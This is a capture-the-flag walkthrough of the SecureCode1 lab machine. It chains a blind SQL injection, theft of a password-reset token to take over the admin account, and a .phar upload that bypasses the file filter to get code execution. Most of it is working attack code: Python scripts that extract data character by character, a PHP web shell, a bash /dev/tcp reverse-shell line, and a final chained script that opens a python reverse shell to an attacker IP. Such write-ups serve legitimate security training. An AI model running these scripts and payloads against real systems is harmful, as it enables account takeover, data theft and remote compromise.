#
SecureCode1
#
Goals
- Bypass Authentication → flag1
- Obtain Remote Command Execution → flag2
- Write your PoC code that chains the exploitation of the discovered vulnerabilities
#
Machine Info
Machine IP: 192.168.26.129
Source Code: http://192.168.26.129/source_code.zip
#
Analyzing the PHP code
After a long time reading the source code and playing with the web application to understand its logic I finally found something interesting, an SQL injection point.
Vulnerable PHP file (viewItem.php):
The vulnerability is at line 18:
- It is part of a GET request:
http://192.168.26.129/item/viewItem.php?id={PAYLOAD}
- The
id
parameter does not have single/double quotes around it which makes it easier for injection.
#
Extract data from the database via bruteforce
Since we have access to the source code and we know the database and tables names, we can skip the discovery of this part and go straight to data extraction via SQL injection.
File db.sql
of the source code provided:
We can start by sending a SQL query to return all entries in the user
table that has id_level=1
, admin privileges, and check if the first letter of the entry start with “a”. We also add the limit 1
to make sure it will return only one entry, in case there are more then one users with id_level=1
.
select (substring(username,1,1)) from user where id_level=1 limit 1 = 'a'
However, the single and double quotes are being filtered by mysqli_query()
function:
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
One workaround is using the ascii table. So instead of comparing it to the letter “a” we will compare it to “97” and wrap the SQL query into ascii function.
The final query to check if the admin level username starts with letter “a” would look like this:
select (select ascii(substring(username,1,1)) from user where id_level=1 limit 1) = 97
The GET request look like this:
GET /item/viewItem.php?id=5 OR (select (select ascii(substring(username,1,1)) from user where id_level=1 limit 1) = 97)
# URL ENCODED (via Burp = CTRL+U)
GET /item/viewItem.php?id=5+OR+(select+(select+ascii(substring(username,1,1))+from+user+where+id_level%3d1+limit+1)+%3d+97)
Response: HTTP/1.1 404 Not Found.
This actually means that the comparison is correct, otherwise we would be redirected to the login page based on the viewItem.php
code here:
- Line 22 code logic: If a query to an existing id returns true, send a 404 response.
From that we can confirm that the comparison is correct or not based on the response code.
#
Automate the blind SQL bruteforce
Lets automate this process with a Python script.
import requests
import sys
def sqli(ip, inj_str):
for j in range (32, 126): # Ascii table numbers
proxies = {'http':'http://127.0.0.1:8080'}
target = "http://%s/item/viewItem.php?id=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
r = requests.get(target, proxies=proxies)
r2 = str(r.status_code)
if "404" in r2:
return j
return None
def inject(inj, ip):
extracted = ""
for i in range (1,50):
injection_string = "5 OR (select (select ascii(substring(%s,%d,1)) from user where id_level=1 limit 1) = [CHAR])" % (inj, i)
retrieved_value = sqli(ip, injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print("\n[!] Done")
break
return extracted
def main():
if len(sys.argv) != 2:
print("[-] Need IP")
sys.exit(-1)
ip = sys.argv[1]
print("[+] Getting username")
query = "username"
username = inject(query, ip)
print("[+] Getting password")
query = "password"
password = inject(query, ip)
print("[+] Creds are %s and %s" % (username, password))
if __name__ == "__main__":
main()
Running this script we get the following:
[+] Getting username
admin
[!] Done
[+] Getting password
unaccessable_until_you_change_me
[!] Done
[+] Creds are admin and unaccessable_until_you_change_me
The password give us a hint that we need to reset it before move on.
#
Forget Password Token
Sometimes when we send a “Forgot my password” request, the web application will create a token and store in the database. Since now we can dump the database via SQL Injection we can retrieve the token generated.
Analyzing the code below, we note that when we reset the password, it will generate a token of length 15. Also note that the function send_email()
is leaking the link we need to access to reset the password when we have the token.
Basically what we need to do is:
- Reset the password for
admin
- Adjust our script to dump the token generated for
admin
- Visit
http://192.168.26.129/login/doResetPassword.php?token={TOKEN}
To dump the Token we just need to modify the main()
of our script as below:
def main():
if len(sys.argv) != 2:
print("[-] Need IP")
sys.exit(-1)
ip = sys.argv[1]
print("[+] Getting username")
query = "username"
username = inject(query, ip)
print("[+] Getting password")
query = "password"
password = inject(query, ip)
print("[+] Getting token")
query = "token"
token = inject(query, ip)
print("[!] Creds are %s and %s" % (username, password))
print("[!] Token for %s is = %s" % (username, token))
Running the script we get the following response:
kali@kali:~/oswe/securecode1$ python blindsql.py 192.168.26.129
[+] Getting username
admin
[!] Done
[+] Getting password
unaccessable_until_you_change_me
[!] Done
[+] Getting token
xxtax6edS5U3hch
[!] Done
[!] Creds are admin and unaccessable_until_you_change_me
[!] Token for admin is = xxtax6edS5U3hch
Visit “http://192.168.26.129/login/doResetPassword.php?token=xxtax6edS5U3hch” to reset the admin password!
#
Logged as Admin
We have access to admin account. Poking around we see that we can create new items and upload files that are used as the item image.
#
Add new item OR Update item?
Looking at the code newItem.php
we notice the following logic to upload a file:
- If the file is not in
blacklisted_exts
and is inmimes
it will be uploaded.
However, looking at updateItem.php
code, we noticed that there is no mime type whitelist, only extensions blacklist! Much easier to bypass and upload a malicious file!
Another thing to note is that there is no blacklist for the extension phar
.
Phar files can execute PHP code. We could upload the following shell.phar
file:
<?php system($_REQUEST["cmd"]); ?>
Or could even be more direct to a reverse shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.132/4444 0>&1'"); ?>
#
Chaining all together in a Python script
In order to create a script to chain all these vulnerabilities and return a shell we will need to manage a login session so we can use the authenticated cookies to perform other tasks. The final script is as follow:
from __future__ import division
import sys
import requests
from bs4 import BeautifulSoup
# Input parameter
if(len(sys.argv) < 4) :
print("[+] Usage: python3 <Target_URL> user_admin <Your_IP>")
print("[+] Example: python3 %s http://192.168.150.134 admin 127.0.0.1" % sys.argv[0])
exit()
target = sys.argv[1]
userName = sys.argv[2]
reverseIp = sys.argv[3]
session = requests.Session()
header = {"Content-Type": "application/x-www-form-urlencoded"}
# Reset user password
def resetPassword():
print("[+] Reseting the password for " + userName)
data = {"username" : userName}
resetUrl = target + "/login/resetPassword.php"
resetPasswordStatus = session.post(resetUrl, data = data, headers = header, allow_redirects=True)
resetSoup = BeautifulSoup(resetPasswordStatus.text, features = "html.parser")
if (resetSoup.find("strong").string != "Success!"):
print("[+] Reset password failed! Does username exist?")
exit()
token = getToken()
resetUrl = target + "/login/doResetPassword.php"
session.get(resetUrl + "?token=" + token)
data = {"token" : token, "password" : "caueob"}
resetUrl = target + "/login/doChangePassword.php"
resetPassRes = session.post(resetUrl, data = data, headers = header)
resetPassSoup = BeautifulSoup(resetPassRes.text, features = "html.parser")
if(resetPassSoup.find("strong").string != "Success!"):
print("[+] Reset password failed!")
exit()
else:
print("[+] Password changed! Login with admin:caueob")
# Get resetPassword Token with SQL injection
def getToken():
print("\n[+] Dumping the reset token...")
token = ""
for i in range (1,50):
injection_string = "5 OR (select (select ascii(substring(token,%d,1)) from user where id_level=1 limit 1) = [CHAR])" % (i)
retrieved_value = sqli(target, injection_string)
if retrieved_value:
token += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print("\n[!] Done\n")
break
print("[+] Reset password token is: " + token)
return token
def sqli(ip, inj_str):
for j in range (32, 126): # Ascii table numbers
target = "%s/item/viewItem.php?id=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
#proxies = {'http':'http://127.0.0.1:8080'}
#r = requests.get(target, proxies=proxies)
r = requests.get(target)
r2 = str(r.status_code)
if "404" in r2:
return j
return None
def login():
loginUrl = target + "/login/checkLogin.php"
data = {"username":"admin", "password":"caueob"}
loginRes = session.post(loginUrl, data = data, headers = header)
loginSoup = BeautifulSoup(loginRes.text, features = "html.parser")
if(loginSoup.find("strong").text != "Success!"):
print("[+] login failed")
exit()
else:
print("[+] Login success! Uploading RCE file...")
def uploadfile():
fileName = "shell.phar"
fileContent = "<?php system($_GET['cmd']);?>"
uploadUrl = target + "/item/updateItem.php"
f = open(fileName, "w")
f.write(fileContent)
f.close()
files = {'image': (fileName, open(fileName, "rb"), 'image/jpeg')}
data = {'id':2, 'id_user':1, 'name':"ALFA WIFI Adapter", "description":"alfa wifi adapter", "price":12}
session.post(uploadUrl, data=data, files = files)
def getShell():
shellUrl = target + "/item/image/shell.phar?cmd="
reverseShellPayload = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ reverseIp +"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
shellUrl += reverseShellPayload
shellRes = session.get(shellUrl)
print("[+] Check your listening terminal!")
def main():
resetPassword()
login()
uploadfile()
getShell()
main()
#
Recap of the vuln chain
- Reset the
admin
password - Extract the reset password token via SQL injection in
viewItem.php?id
- Use the token to set a new password and login to the admin portal via
/login/doResetPassword.php
,/login/doChangePassword.php
and/login/checkLogin.php
- Upload a malicious
.phar
file updating an existing item via/item/updateItem.php
- Get a reverse shell via file uploaded at
/item/image/shell.phar?cmd=
All we need to do now is start a netcat listener on port 4444 and execute the script.